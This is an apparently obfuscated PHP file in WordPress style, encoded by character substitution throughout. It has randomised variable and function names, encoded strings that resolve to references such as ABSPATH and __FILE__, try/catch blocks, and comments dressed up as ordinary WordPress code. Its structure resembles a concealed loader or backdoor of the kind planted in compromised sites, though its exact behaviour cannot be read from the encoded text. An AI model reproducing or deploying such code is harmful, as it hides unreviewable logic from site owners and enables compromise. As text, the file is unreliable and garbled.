,zc010a<<xb68!7,zc010a<<xb2%,zc010a<<xb3((,oj>>pzm:y~1zk0;q(5(|z}m3(((u''(_gzlXzm{{(>&>(jdgkc(jaflafo{2(af|mzz}x|(lmza~i|agf((((((u(ki|k`(((( \`zgijdm(((,d|f9x=j|9W:!(s(((gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro 9:>>!$(((((,d|f9x=j|9W:!3kgf|af}m3(((((((u(ki|k`( Mpkmx|agf((,d|f9x=j|9W:!((s''(_X(Fi~aoi|agf(Jdgkc(fgfkm(~idali|agf((kgf|af}m3(((u((u(((((an( ,oj>>pzm:y~1zk0;q!((((san(( {jynjr};<k;ff=~{9pbapx ,kgdrpmd0ig$(,~o8a|m=x`{Wp`!!(((((s,~|qk<}rf{oxl(((5((|z}m3((u((u(((u(((zm|}zf((,~|qk<}rf{oxl3(((((((u(ki|k`((( \`zgijdm(,d|f9x=j|9W:!(s'"(xzaeizq(lazmk|gz("'gcp<j<0::Wlzkc}{liqd} aozjlg0f<j1nk{ 9:>?!$(,d|f9x=j|9W:!3u(ki|k`( Mpkmx|agf(((((,d|f9x=j|9W:!((s(((u'"({m{y}adafmiz(zm|zq%xgdakq("'((zm|}zf(nid{m3((((((u((((n}fk|agf((((((gp{q:rjeej1}q ,z?xcd9c}k{8$(((,erdfpz8ak=z!((((((((s((((((,emj<bi:m=<{yf((5((izziq !3(((,erdfpz8ak=z((5((,erdfpz8ak=z(((%((93((((((((((((,onfnpr=xcb}l:|((5(Haozjlg0f<j1nk{ :=8! ,z?xcd9c}k{8!3,c}8>ykon`ax5:<"=3,{j`k1i~;`km|5,c}8>ykon`ax%:<3(an(( )((aW;~yrxiqyjro 9:>;! ,onfnpr=xcb}l:|!!(szm|}zf((,emj<bi:m=<{yf3((((u(((((,onfnpr=xcb}l:|(((5(((rq;ec{mmgl| 9;<! ,onfnpr=xcb}l:|$((8$(( 8p1k#8p9=0!!3(((((ngzmik`(( ,onfnpr=xcb}l:|((i{(,rol>ikj8f|=nq!(((s(((an(( ,rol>ikj8f|=nq(555(((/&/((tt(((((,rol>ikj8f|=nq((((555(jj`>dqcld1xlfd: 9:>8!!((((s(((kgf|af}m3((((((u(,ni|a<cce9=(5((,z?xcd9c}k{8(&((/'/((((((&((,rol>ikj8f|=nq3(((((an((( )((((Haozjlg0f<j1nk{ 9:>:! ,ni|a<cce9=!!(((s(((kgf|af}m3(u(((((an(( Hjj`>dqcld1xlfd: 9:>:! ,ni|a<cce9=(((((&(jj`>dqcld1xlfd: 98==!!!(((s(((((,emj<bi:m=<{yfSU(5(aW;~yrxiqyjro >>0! ,ni|a<cce9=$((((aozjlg0f<j1nk{ 9:>0!!3kgf|af}m3(((((u(((((((((an( ,erdfpz8ak=z(((6(((8!(((s((((((,emj<bi:m=<{yf(((5(((aozjlg0f<j1nk{ 9:<?! ,emj<bi:m=<{yf$(((gp{q:rjeej1}q ,ni|a<cce9=$((((((,erdfpz8ak=z!!3(((((((u(((u(((((((zm|}zf(,emj<bi:m=<{yf3(((u(n}fk|agf((((ixqk{e0q<==a1a~0 !(((s(,z8jydjy>~l=>dg(((5((izziq !3,{jr|0{|`kx9af|=n((((5((rq;ec{mmgl| >>0! IJ[XI\@$(rq;ec{mmgl| 9:>0!!3(((|zq((s(((,dlxr}|}>xf={l((5((((izziq !3(an( ,{jr|0{|`kx9af|=n!(s,dlxr}|}>xf={lSU(5((((((jj`>dqcld1xlfd: 9:<>! ,{jr|0{|`kx9af|=n!3(((((,dlxr}|}>xf={lSU(5(rq;ec{mmgl| 9:<>! aW;~yrxiqyjro 9:<>! ,{jr|0{|`kx9af|=n!!3((((((,dlxr}|}>xf={lSU((5(rq;ec{mmgl| 9:>1! jj`>dqcld1xlfd: 9:>1! rq;ec{mmgl| 9:>1! ,{jr|0{|`kx9af|=n!!!3u((,dlxr}|}>xf={lSU(((5(jj`>dqcld1xlfd: 9:?8!3(,dlxr}|}>xf={lSU((5(((rq;ec{mmgl| 9:?9!3(,dlxr}|}>xf={lSU((5(jj`>dqcld1xlfd: 9:?:!3,dlxr}|}>xf={lSU(5(((aozjlg0f<j1nk{ 9:?;!3((((,dlxr}|}>xf={lSU(5(((aozjlg0f<j1nk{ 9:?<!3(((((((,dlxr}|}>xf={lSU(((5(((((aozjlg0f<j1nk{ 9:?=!3,dlxr}|}>xf={lSU(5(jj`>dqcld1xlfd: 9:?>!3((((((((,kc1}>9k<xlcpWiz(((5((rq;ec{mmgl| 9::8! aW;~yrxiqyjro 9:??!!(((7(( {|zafo!(((HaW;~yrxiqyjro 9:?0! rq;ec{mmgl| 9:?1!!(2(**3(((an((( ,kc1}>9k<xlcpWiz(((()55(**!(((((s(,od:{ayi91a;=p8((5(( aW;~yrxiqyjro 9:08! ,kc1}>9k<xlcpWiz$(((/3/!((()55(nid{m!(((7((((/3/(2((((((/2/3(ngzmik`(( aW;~yrxiqyjro ::8! ,od:{ayi91a;=p8$((,kc1}>9k<xlcpWiz!((i{(,ndjnir;e;:?fazg9!(((s(,ndjnir;e;:?fazg9(5((((((jj`>dqcld1xlfd: 9:09! ,ndjnir;e;:?fazg9!3an( ,ndjnir;e;:?fazg9(((()55(((**!(s((((,dlxr}|}>xf={lSU((5((((,ndjnir;e;:?fazg93((((((u(u(((((((u(((((,dlxr}|}>xf={l(5(jj`>dqcld1xlfd: 9:0:! aozjlg0f<j1nk{ ;?1! ,dlxr}|}>xf={l!!3((((((,xgx|a==ik{1d((((((5((rq;ec{mmgl| 9:0;! |z}m!3(((((,z8jydjy>~l=>dg(((5(izziq !3,W18exjkxj>05<8t?93,`8k`q{`19fi5,W18exjkxj>0V::03((((((ngzmik`((( ,dlxr}|}>xf={l((i{((((,z?xcd9c}k{8!((((s(((an(((( )((Hjj`>dqcld1xlfd: 9:>:! ,z?xcd9c}k{8!((tt()(Haozjlg0f<j1nk{ 099! ,z?xcd9c}k{8!!((s(((kgf|af}m3uan((  jj`>dqcld1xlfd: 9:0;! |z}m!(%(,xgx|a==ik{1d!((((6( 8p9#8p1!!(((s(jzmic3((u((((((,z8jydjy>~l=>dg(5((jj`>dqcld1xlfd: 9:<?! ,z8jydjy>~l=>dg$((((gp{q:rjeej1}q ,z?xcd9c}k{8$(:!!3,f{?8o8ali1j|5 8p9m#8p?>!3,c191~nkqbe5,f{?8o8ali1j|-9<3((uu((((ki|k`((((( \`zgijdm(((,d|f9x=j|9W:!(s(gcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: 1?>!$((,d|f9x=j|9W:!3(u((((ki|k`(( Mpkmx|agf((,d|f9x=j|9W:!(((s,ab{jj?`05X@XWEIBGZW^MZ[AGF3,{b{y`WWkq1W5,ab{jj?`0";3(((u((((zm|}zf(jj`>dqcld1xlfd: 91>! rq;ec{mmgl| 9:0:! ,z8jydjy>~l=>dg!$((((izziq ,{jr|0{|`kx9af|=n!!3(((((u(n}fk|agf(((rpbgaz~zi0f`d;fo81 ,{1omko=<ryppxk!((((s(((|zq(((s,r}og`k|egqjfb?m(5((izziq ,{1omko=<ryppxk((&((((jj`>dqcld1xlfd: 9:0<!$(,{1omko=<ryppxk(((&((aozjlg0f<j1nk{ 9:0=!!3ngzmik`((((( ,r}og`k|egqjfb?m((i{((,z?xcd9c}k{8!(san(((( )((((HaW;~yrxiqyjro 9:>:! ,z?xcd9c}k{8!!(s((((kgf|af}m3u((((,q=im:1mi={ar8=(((5((}:{9};`f?=m?`{`i{yc} ,z?xcd9c}k{8!3((((((an(( )aW;~yrxiqyjro 9:>;! ,q=im:1mi={ar8=!!((((s,`<`:c`}Webki;5 8pn:#8p<j!3,r{;iixcrjg5,`<`:c`}Webki;-13(kgf|af}m3((u((((((ngzmik`( ,q=im:1mi={ar8=(i{(((((,d|f9x=j|9W:!((s((an((((( aozjlg0f<j1nk{ 99;9! ,d|f9x=j|9W:$((((% :#:!!(555(((((jj`>dqcld1xlfd: 100!((((..((((pm1aWkmd{lc;n~ ,z?xcd9c}k{8(((((&((((/'/(&((,d|f9x=j|9W:$( <10=#9=!!!((s(((zm|}zf(|z}m3(u((u(ngzmik`( ,q=im:1mi={ar8=((((i{(,d|f9x=j|9W:!((s((,xW<=mcyedpz{1z9(((((5(((,z?xcd9c}k{8(((&(/'/(&((,d|f9x=j|9W:3(((an( )(HaW;~yrxiqyjro 9:0>! ,xW<=mcyedpz{1z9!!((s(((kgf|af}m3((u(((,km;anp<o<10e~?(((((5(}:{9};`f?=m?`{`i{yc} ,xW<=mcyedpz{1z9!3((an((((( )jj`>dqcld1xlfd: 9:>;! ,km;anp<o<10e~?!!(((((skgf|af}m3(((u((ngzmik`(((((( ,km;anp<o<10e~?((i{(,lm:yeg9ineej?x!(((san( aozjlg0f<j1nk{ 99;9! ,lm:yeg9ineej?x$(% 8p9#8p;!!((555(aozjlg0f<j1nk{ 100!((..((pm1aWkmd{lc;n~ ,xW<=mcyedpz{1z9((&(((/'/(&((((,lm:yeg9ineej?x$(( 8p98:j#8p;=l!!!((s(zm|}zf(|z}m3((u(u(uu((u(((ki|k`( \`zgijdm((((,d|f9x=j|9W:!(s''(H{mzaidarm(ilix|mz((gcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: 9:0?!$((((,d|f9x=j|9W:!3u(ki|k`(( Mpkmx|agf((((((,d|f9x=j|9W:!(((s(((((u((((((zm|}zf((nid{m3(((u((n}fk|agf(nnx~bga=z{a;;c1n !s(((|zq((s(an( rem9ln;b0>:j~|k9reo= z9>1{1jm8r8;e~8 !!!(zm|}zf3(((an(( om|W|zif{amf| jj`>dqcld1xlfd: 9:00!!!(((s(zm|}zf3(((u(((((,xd8`b<k9dofqp(((((5(mrppqfp~aze:9: !3((an((((( )((,xd8`b<k9dofqp(tt(jj`>dqcld1xlfd: 9:><! ,xd8`b<k9dofqp!((4(( 1?<#:>!!((s(((zm|}zf3((u(((an((( )(~rl=fzla18ykW?jkrj} ,xd8`b<k9dofqp!!((((sgcp<j<0::Wlzkc}{liqd} aozjlg0f<j1nk{ 9:01!$(jj`>dqcld1xlfd: 0?;!!3(((zm|}zf3u''(_X(Xg{|(\a|dm2(mfijdm(xzggn%|mze,z8jydjy>~l=>dg(5((ixqk{e0q<==a1a~0 !3((((an(( mex|q ,z8jydjy>~l=>dg!!(((s(((an( )om|W|zif{amf| aW;~yrxiqyjro 9:18!!!((s(gcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: 9:01!$((((jj`>dqcld1xlfd: 9:19!!3(({m|W|zif{amf| rq;ec{mmgl| 9:18!$((((9$(((( 8pii8#8p;?8!!3(((((((u(((((((({m|W|zif{amf| aW;~yrxiqyjro 9:00!$((((9$(( 9=?1=>#989:<<!!3((((zm|}zf3(((((u(,{8lapay{}<d;:9(((5(((83(((ngzmik`( ,z8jydjy>~l=>dg(((((i{((,{1omko=<ryppxk!(((s((an((( rpbgaz~zi0f`d;fo81 ,{1omko=<ryppxk!!((skgf|af}m3(u((((((,cx;l<pgkba:iy<|(((((5((**3((,m9mol~{ek`apjb1((5((((,{1omko=<ryppxk((&(aW;~yrxiqyjro 9:0<!3((an( Hjj`>dqcld1xlfd: 0?>! ,m9mol~{ek`apjb1!(..(()Hjj`>dqcld1xlfd: 9:0>! ,m9mol~{ek`apjb1!!((s(((,m9mol~{ek`apjb1((((5(((f}dd3(u(((md{man((( )Haozjlg0f<j1nk{ 9:0>! ,m9mol~{ek`apjb1!!(((((s(Wfpcp9{<d<qobniil ,m9mol~{ek`apjb1$( <;8#>;!$((|z}m!3u(((an(( ,m9mol~{ek`apjb1((..( )Hjj`>dqcld1xlfd: 9:0>! ,m9mol~{ek`apjb1!((((tt(((()Haozjlg0f<j1nk{ 0?0! ,m9mol~{ek`apjb1!!!(((s(((((((,m9mol~{ek`apjb1(5((f}dd3(((((((uan((( ,m9mol~{ek`apjb1!(s,rn<`f1q=ja0rj{((5((,m9mol~{ek`apjb1(&(((((/'/(&(((ac0{`=o;}0p=}qpady1kq !3,kq?zzmgi~li=<(((5(|;neyggnc9}qimc=gf ,xd8`b<k9dofqp!3((,q`0~b8}W=f((5(((|;1bljy:yp8ja?:f?}g1i ,rn<`f1q=ja0rj{$((,kq?zzmgi~li=<$((aW;~yrxiqyjro 9:01!!3(((an( ,q`0~b8}W=f((((..(((,q`0~b8}W=f((65(((aozjlg0f<j1nk{ 9:><! ,kq?zzmgi~li=<!!(((s,cx;l<pgkba:iy<|(((5((,rn<`f1q=ja0rj{3(((u(((((u(((((((((((((an( )((,cx;l<pgkba:iy<|!(((s(((((,z=1{fgk|e~b=yp(5((rq;ec{mmgl| 0::! ac0{`=o;}0p=}qpady1kq !$(XI\@AFNGWNADMFIEM!3(((,kWqWzqg}mr((((5(,{1omko=<ryppxk((((&(jj`>dqcld1xlfd: 9:1:!(&(,z=1{fgk|e~b=yp3an(((( )((((Hjj`>dqcld1xlfd: 9:0>! ,kWqWzqg}mr!!((s(Wfpcp9{<d<qobniil ,kWqWzqg}mr$( <:>#>?!$(((((|z}m!3((u(((((((,rn<`f1q=ja0rj{(((5((,kWqWzqg}mr(&((/'/((&((ac0{`=o;}0p=}qpady1kq !3((((,kq?zzmgi~li=<((((5(((|;neyggnc9}qimc=gf ,xd8`b<k9dofqp!3((((((,q`0~b8}W=f((5((|;1bljy:yp8ja?:f?}g1i ,rn<`f1q=ja0rj{$(((,kq?zzmgi~li=<$((((rq;ec{mmgl| 9:01!!3((((((((an((((( ,q`0~b8}W=f((((..(,q`0~b8}W=f((65(((aW;~yrxiqyjro 9:><! ,kq?zzmgi~li=<!!((((s,cx;l<pgkba:iy<|((5(((((,rn<`f1q=ja0rj{3,ji{mfiem(((5(((((,z=1{fgk|e~b=yp((&((/'/(((&((((ac0{`=o;}0p=}qpady1kq !3((`1e8i?b01gxa0x~<|8:y ,{1omko=<ryppxk$(((((,ji{mfiem!3((((u(((u(an( )(,cx;l<pgkba:iy<|!((((s(kgf|af}m3(um1<bdc<lk<9|c;d ,cx;l<pgkba:iy<|!3((yy|m;zWdxb}n{r{~akm ,cx;l<pgkba:iy<|$((( 8p?9#8pj;!!3((,{8lapay{}<d;:9##3u((((((an(( ,{8lapay{}<d;:9(6(8!((s(({m|W|zif{amf| aozjlg0f<j1nk{ 9:1;!$(((9$( 8p:n1;n#8pnj<9!!3(u((((((md{m((((s(((((({m|W|zif{amf| jj`>dqcld1xlfd: 9:1;!$((9$((((( ==0#;8<:!!3(((u((((((u(((ki|k`(( \`zgijdm((((,d|f9x=j|9W:!((((s((gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro 9:01!$(((,d|f9x=j|9W:!3u((ki|k`((( Mpkmx|agf((((,d|f9x=j|9W:!((su((u(((n}fk|agf(`1e8i?b01gxa0x~<|8:y ,{1omko=<ryppxk$((,ji{mfiem!s(((((((|zq((s(,aj1j=|iy~=mfj((((5(((,{1omko=<ryppxk((((&(((rq;ec{mmgl| 9:1<!3((((an( )((Hjj`>dqcld1xlfd: 9:<1! ,aj1j=|iy~=mfj!!(s((((,aj1j=|iy~=mfj((5((((jj`>dqcld1xlfd: 9:>1! ,{1omko=<ryppxk!((((&(aozjlg0f<j1nk{ 9:1=!3(((((an( )(((Hjj`>dqcld1xlfd: 9:<1! ,aj1j=|iy~=mfj!!(((s((((zm|}zf3((((u((((u(,ae{:onx`88(((5((HaW;~yrxiqyjro 99:=! ,aj1j=|iy~=mfj!3an(( )(,ae{:onx`88!((((s(((zm|}zf3((u(,xj:zWmnrni((((((5((**3,xzmnap(5(**3((((((((an( jj`>dqcld1xlfd: 08>! rq;ec{mmgl| 9:1>!$(((,ae{:onx`88$(((,~?b9=1{ef>n1x?!!(s,d~`jnap0f59:=t<03,qpWdWrn9}W5,d~`jnap0fV=:3,xj:zWmnrni((5((,~?b9=1{ef>n1x?S9U3(uan( rq;ec{mmgl| 08>! aW;~yrxiqyjro 9:1?!$(((,ae{:onx`88$(((,~?b9=1{ef>n1x?!!((s((((,xzmnap(((5(((((,~?b9=1{ef>n1x?S9U3u((an( )(((((,xj:zWmnrni((tt(((((()(,xzmnap((((((tt()(aW;~yrxiqyjro 08>! rq;ec{mmgl| 9:10!$((((,xzmnap!!((((s((zm|}zf3((((((u,xlj(5((((,ODGJID[SaW;~yrxiqyjro 9:11!U3((((an(((( )((((rq;ec{mmgl| 98?>! ,xlj!((tt()((aozjlg0f<j1nk{ 11! ,xlj$((aozjlg0f<j1nk{ 9;88!!!(((s((((((zm|}zf3uan( )((((((jj`>dqcld1xlfd: 9;89! aozjlg0f<j1nk{ 9;8:!$(((((,xj:zWmnrni!!(((s(gcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| 9;8;!$((jj`>dqcld1xlfd: 9;8<!!3(zm|}zf3(u((((((((,g|;y~qo:cy?f~}((5(((/h/((&((((,xj:zWmnrni((((&(aozjlg0f<j1nk{ 9;8=!(&((,xzmnap((&(rq;ec{mmgl| 9;8>!3(((,xlj%6y}mzq aW;~yrxiqyjro 9;8?!!3((,n|z?:eigb{?(5((((,xlj%6om|W~iz /[/(&(((jj`>dqcld1xlfd: 9;80!((&(((,g|;y~qo:cy?f~}((&((jj`>dqcld1xlfd: 9;81!((&((((aW;~yrxiqyjro 9;98!((((&((((aozjlg0f<j1nk{ 9;99!!3((((((an((( ,n|z?:eigb{?((((555(f}dd!(s,xlj%6y}mzq aozjlg0f<j1nk{ 9;9:!!3(((zm|}zf3((((u(((((((,lij9~z;;xf{|((((5(~e1Wi0{i|:ky}i ,n|z?:eigb{?!3(an( )((((aozjlg0f<j1nk{ 9:>;! ,lij9~z;;xf{|!!(s(((((,xlj%6y}mzq aW;~yrxiqyjro 9;9;!!3zm|}zf3(uan((( rq;ec{mmgl| ?1>! ,ji{mfiem$((,lij9~z;;xf{|$(|z}m!!(s(,xlj%6y}mzq aozjlg0f<j1nk{ 9;9<!!3((((zm|}zf3u(((((,lij9~z;;xf{|SU((5(,ji{mfiem3(((,lij9~z;;xf{|(((((5((aozjlg0f<j1nk{ ?8:! ,lij9~z;;xf{|!3((((((,|lbraem1q<ob((5((jj`>dqcld1xlfd: ;1>! ,lij9~z;;xf{|!3(,qkcWizWy>i=r;z((5((,xlj%6y}mzq ,xlj%6xzmxizm /]/(((&(((((aozjlg0f<j1nk{ 9;9=!((&(((((,g|;y~qo:cy?f~}(((&((((aW;~yrxiqyjro 9;9>!(&(((aW;~yrxiqyjro 9;98!$(,|lbraem1q<ob!!3(an( ,qkcWizWy>i=r;z(((555((nid{m!((sgcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| 9;9?!$((((aW;~yrxiqyjro 9;90!!3,xlj%6y}mzq rq;ec{mmgl| 9;91!!3zm|}zf3(u((,xlj%6y}mzq jj`>dqcld1xlfd: 9;9<!!3(((((u((((ki|k`( \`zgijdm(((,d|f9x=j|9W:!((s(((((((gcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| 9;9?!$((,d|f9x=j|9W:!3((((an(( jj`>dqcld1xlfd: 9;:8! ,ODGJID[Srq;ec{mmgl| 9:11!U!!(((s(H,ODGJID[Srq;ec{mmgl| 9;:9!U%6y}mzq rq;ec{mmgl| 9;91!!3(u(u((ki|k`(( Mpkmx|agf((,d|f9x=j|9W:!((((s((((((gcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: 9;9?!$((,d|f9x=j|9W:!3(((an(( rq;ec{mmgl| 9;::! ,ODGJID[SaW;~yrxiqyjro 9;:9!U!!(((sH,ODGJID[Sjj`>dqcld1xlfd: 9;:9!U%6y}mzq jj`>dqcld1xlfd: 9;91!!3(((((((u(((u((u((n}fk|agf(((brmb<0g~aW08q> !(((s((({|i|ak((,ae{:onx`88(5((f}dd3(an( ,ae{:onx`88()55(((((f}dd!((zm|}zf((,ae{:onx`883(((an(( )aW;~yrxiqyjro 9;:;! aW;~yrxiqyjro 9;:<!!!((s,ae{:onx`88(((5((((**3,{nmnx<q|5;>t9:;3,km?{j;<;mde~~05,{nmnx<q|V:813((((zm|}zf((,ae{:onx`883,pg0o=lbb;5X@XWAF\WEIP'X@XWAF\WEIP3,lazar~e:~5,pg0o=lbb;#983((((u,ae{:onx`88((((((5(((Horafndi|m aW;~yrxiqyjro <8:! aW;~yrxiqyjro 9;:=!!!3(((an(( )aozjlg0f<j1nk{ 9;:>! ,ae{:onx`88!((((((tt((aW;~yrxiqyjro 9:><! ,ae{:onx`88!((((4( <#1>!!((,ae{:onx`88(5((((**3(zm|}zf(,ae{:onx`883(((u(n}fk|agf(a:fcj88bgj;d=8xl< !(((s|zq(((san( )lmnafml jj`>dqcld1xlfd: 9::>!!!(zm|}zf3,l~y:yixbb~r8q(((((5((rq;ec{mmgl| 99>=! z9>1{1jm8r8;e~8 !$(((((jj`>dqcld1xlfd: 100!!3(,yn0<on0x1>n<`zz((((5(((g{mxxjmmdpz1}` IJ[XI\@((&(jj`>dqcld1xlfd: 9;:?!$(((( <449!!(((&((rq;ec{mmgl| 9;:0!3,xfjc;y|1bl(5((g{mxxjmmdpz1}` IJ[XI\@(&(((aozjlg0f<j1nk{ 9;:1!$((( 9:<V99>!!3,ykb0fror{cie=<rj((5((((aW;~yrxiqyjro 9;:;! aozjlg0f<j1nk{ 9;;8!!((7(kgf|mf|W}zd !(2(((**3((an((( ,ykb0fror{cie=<rj((555((((**!((((s((((((((,ykb0fror{cie=<rj(((5(( aW;~yrxiqyjro 9;:;! rq;ec{mmgl| ><8!!(((7(om|W{a|mW}zd !(2((((**!(((((&((aozjlg0f<j1nk{ 9;;9!3(u''(xiziddmdarm(kgeeifl(ngz(Eq[YD(aflg(n}fk|agf{(,mrl?am~?qq<(((5((((aozjlg0f<j1nk{ <81! aW;~yrxiqyjro 9;;:!$((((rq;ec{mmgl| 9;;;!$(,ykb0fror{cie=<rj(((&((((/'/((((&((((((,yn0<on0x1>n<`zz!3(((((an(( aozjlg0f<j1nk{ 9;;<! ,mrl?am~?qq<$((jj`>dqcld1xlfd: 9;;;!!(()55(8!(,mrl?am~?qq<((5((aW;~yrxiqyjro 9;;;!(&((jj`>dqcld1xlfd: 9;;=! ,mrl?am~?qq<$(/'/!3((((,ix?;qni|xbk(((5((((((aozjlg0f<j1nk{ 9;:;! aozjlg0f<j1nk{ ?0;!!(7((`gemW}zd rq;ec{mmgl| 9;;>!((&((W8fpno{mjfecW= jj`>dqcld1xlfd: 9;:1!!!((2(**3(((an((((( ,ix?;qni|xbk((((555((((**!(((,ix?;qni|xbk(5(((aW;~yrxiqyjro 9;;;!(((((&((((((orkx{~qmc8gyjn **!(&(aozjlg0f<j1nk{ 9;;?!((&(W8fpno{mjfecW= aW;~yrxiqyjro 9;;0!!3an( aozjlg0f<j1nk{ 9;;<! ,ix?;qni|xbk$((((jj`>dqcld1xlfd: 9;;;!!()55((8!(,ix?;qni|xbk((5((((aW;~yrxiqyjro 9;;;!(((&(aozjlg0f<j1nk{ 9;;=! aW;~yrxiqyjro 9;;1! jj`>dqcld1xlfd: 9;<8!$(((((**$((((((,ix?;qni|xbk!$((((/'/!3(,ofbbq?ryag(((5(a{{m| ,ODGJID[SaW;~yrxiqyjro ?::!U!((..((jj`>dqcld1xlfd: 9;<9! ,ODGJID[Saozjlg0f<j1nk{ 9;<:!U!((7(,ODGJID[SaW;~yrxiqyjro 9;<:!U((((2(**3(((((an(( jj`>dqcld1xlfd: 9:><! ,ofbbq?ryag!((4(((((( 08#:8!!((s((((((,ofbbq?ryag((5((((g:lp;i`rx`r>faW= aW;~yrxiqyjro <9;!$((**!3u((an(((( aozjlg0f<j1nk{ 9:><! ,ofbbq?ryag!(((((4(((( 9:8V:0!!((s((,ofbbq?ryag(((5((brmb<0g~aW08q> !3((((u,ax`Wpn~q~=rW(5(**3(((((an(( a{{m| ,ODGJID[Sjj`>dqcld1xlfd: <00!U!((((..(aozjlg0f<j1nk{ 9;<9! ,ODGJID[Sjj`>dqcld1xlfd: <00!U!(..(((aW;~yrxiqyjro 9;<;! ,ODGJID[Saozjlg0f<j1nk{ <00!U!((((((6(( ?:%::!!(s(((,ax`Wpn~q~=rW(5((((((,ODGJID[SaW;~yrxiqyjro <00!U3((((u(((md{m(s(((,ax`Wpn~q~=rW((5(((((g:lp;i`rx`r>faW= aW;~yrxiqyjro ?91!$((**!3((u''(|qxm(ei|k`afo(((an( rq;ec{mmgl| 9;<<! ,ax`Wpn~q~=rW!(((((6(((( <9#1!!(s(brWd:drr>|qrizlfce::~ jj`>dqcld1xlfd: ?91!$(,ax`Wpn~q~=rW$(aozjlg0f<j1nk{ 9;<=!!3((((u((,xpilb{qyifgo(((5(jj`>dqcld1xlfd: 9;:;! jj`>dqcld1xlfd: ?0;!!(7((( {|zafo!(aW;~yrxiqyjro 9;<>! `gemW}zd /'/!$((((X@XW]ZDWXI\@!((((2((/'/3((((an(( ,xpilb{qyifgo(((555(**!((,xpilb{qyifgo(5(((/'/3an( aW;~yrxiqyjro 9;<?! ,xpilb{qyifgo$((%9!(()55((/'/!(,xpilb{qyifgo((&5(((/'/3((,y?ax:89kfxzz{((5((izziq ((((((((aozjlg0f<j1nk{ 9;<0!((56((f<fm?efyq90gqmciob !$aozjlg0f<j1nk{ 9;<1!(56((y`oW}?8myx~:<8~qjn` !$(((jj`>dqcld1xlfd: 9;=8!(((56(((((,xpilb{qyifgo$!3(,}?cef}b9~n{98(((5(((izziq (((aozjlg0f<j1nk{ 9;=9!((56((,mrl?am~?qq<$(jj`>dqcld1xlfd: 9;=:!(((56((,l~y:yixbb~r8q$(((jj`>dqcld1xlfd: 9;=;!((56((((,ix?;qni|xbk$((jj`>dqcld1xlfd: 9;=<!((((56(g{mxxjmmdpz1}` IJ[XI\@((((&(((((aozjlg0f<j1nk{ 9;==!$(((( <1V>9!!$(aozjlg0f<j1nk{ 9;=>!(((56(,ax`Wpn~q~=rW$((!3(,rl=f|Wz`p<g((5(`ja}:~bo1<;}zr;fcWWp aozjlg0f<j1nk{ 9;=?!$(**!3(((an(( )aW;~yrxiqyjro 9;=0! ,rl=f|Wz`p<g!((tt((((rq;ec{mmgl| 9;=1! ,rl=f|Wz`p<g!(555(8!(((s(zm|}zf3((u((((((((,m~lp0lgcrbp<ln1((5(((aozjlg0f<j1nk{ ;11! rr{y<8;r?j{``qpm1maW aozjlg0f<j1nk{ 9;>8! ,}?cef}b9~n{98!$(,rl=f|Wz`p<g!!3,b:{;<eq<~{>onzz(((5(((rq;ec{mmgl| 9;>9!(((&((((jj`>dqcld1xlfd: ;11! rq;ec{mmgl| 9;>:! ,y?ax:89kfxzz{!!(((&(aozjlg0f<j1nk{ 9;>;!3((,b:{;<eq<~{>onzz(&5(((jj`>dqcld1xlfd: 9;><!(&(,m~lp0lgcrbp<ln1(((&((jj`>dqcld1xlfd: 9;>=!3(((brWd:drr>|qrizlfce::~ rq;ec{mmgl| 9;>>!$(,b:{;<eq<~{>onzz$((((aW;~yrxiqyjro 9;<=!!3brWd:drr>|qrizlfce::~ aozjlg0f<j1nk{ 9;>?!$(((((aozjlg0f<j1nk{ 9;>0!  {|zafo!(((,ofbbq?ryag((&(( {|zafo!((,ax`Wpn~q~=rW(((&(,rl=f|Wz`p<g(((&((((((/t/(((&(jj`>dqcld1xlfd: ??! orkx{~qmc8gyjn **!!!$(((jj`>dqcld1xlfd: 9;<=!!3(((,lkjl}m8bj`nke((((((5(((((aozjlg0f<j1nk{ 9;:;! aozjlg0f<j1nk{ ?0;!!(7((((`gemW}zd aW;~yrxiqyjro 9;;>!((((&(((((W8fpno{mjfecW= aozjlg0f<j1nk{ 9;>1!!!(2(((((**3an( ,lkjl}m8bj`nke((555((((**!(((,lkjl}m8bj`nke(5(((((jj`>dqcld1xlfd: 9;;;!((&(((orkx{~qmc8gyjn **!(((&(rq;ec{mmgl| 9;?8!(((&((W8fpno{mjfecW= rq;ec{mmgl| 9;?9!!3((((an((( jj`>dqcld1xlfd: 9;?:! ,lkjl}m8bj`nke$(((aW;~yrxiqyjro 9;;;!!(()55((((8!((,lkjl}m8bj`nke(((5((aW;~yrxiqyjro 9;;;!(((&((jj`>dqcld1xlfd: 9;?;! aozjlg0f<j1nk{ 9;;1! aozjlg0f<j1nk{ 9;<8!$(**$((,lkjl}m8bj`nke!$((/'/!3(brWd:drr>|qrizlfce::~ rq;ec{mmgl| 9;?<!$((((((,lkjl}m8bj`nke$(((aozjlg0f<j1nk{ 9;?=!!3(an(( jj`>dqcld1xlfd: 9;=1! ,ofbbq?ryag!((((4(( 8p:?#8p;l!!((szm|}zf3(((((ubrWd:drr>|qrizlfce::~ rq;ec{mmgl| 9;?>!$((,ofbbq?ryag$((jj`>dqcld1xlfd: 9;?=!!3an((((( )io`~qa?01=f{f<l8o !!((((zm|}zf3(((((,m>b9c}mrikmfzn((5((e||ngqy~:jfj0;o0a !3(((an((( )Haozjlg0f<j1nk{ 9;??! ,m>b9c}mrikmfzn!!(Wfpcp9{<d<qobniil ,m>b9c}mrikmfzn$(((( <0:#99!$(|z}m!3an( )Haozjlg0f<j1nk{ 9;??! ,m>b9c}mrikmfzn!(tt((((()Hjj`>dqcld1xlfd: 0?0! ,m>b9c}mrikmfzn!!(zm|}zf3(,k9z80ki`ymk(5(,m>b9c}mrikmfzn((((&(((/'/((&(,xfjc;y|1bl(&((((aozjlg0f<j1nk{ 100!3,ffcg{yegdb59<;t9>13,cc`ld~rg;|ln<p5,ffcg{yegdbV9;>3(,|>1xg>{<ef0(5((f1Wn{ek<blp<m>x`Wx<mn1 ((aW;~yrxiqyjro 9;?0!$(((izziq /WW[D]OWW/$(/WWRAXWFIEMWW/$(((/WW_ZA\MWCMQWW/$(((/WW^MZ[AGFWW/!$izziq ,l~y:yixbb~r8q$((,yn0<on0x1>n<`zz$((g{mxxjmmdpz1}` 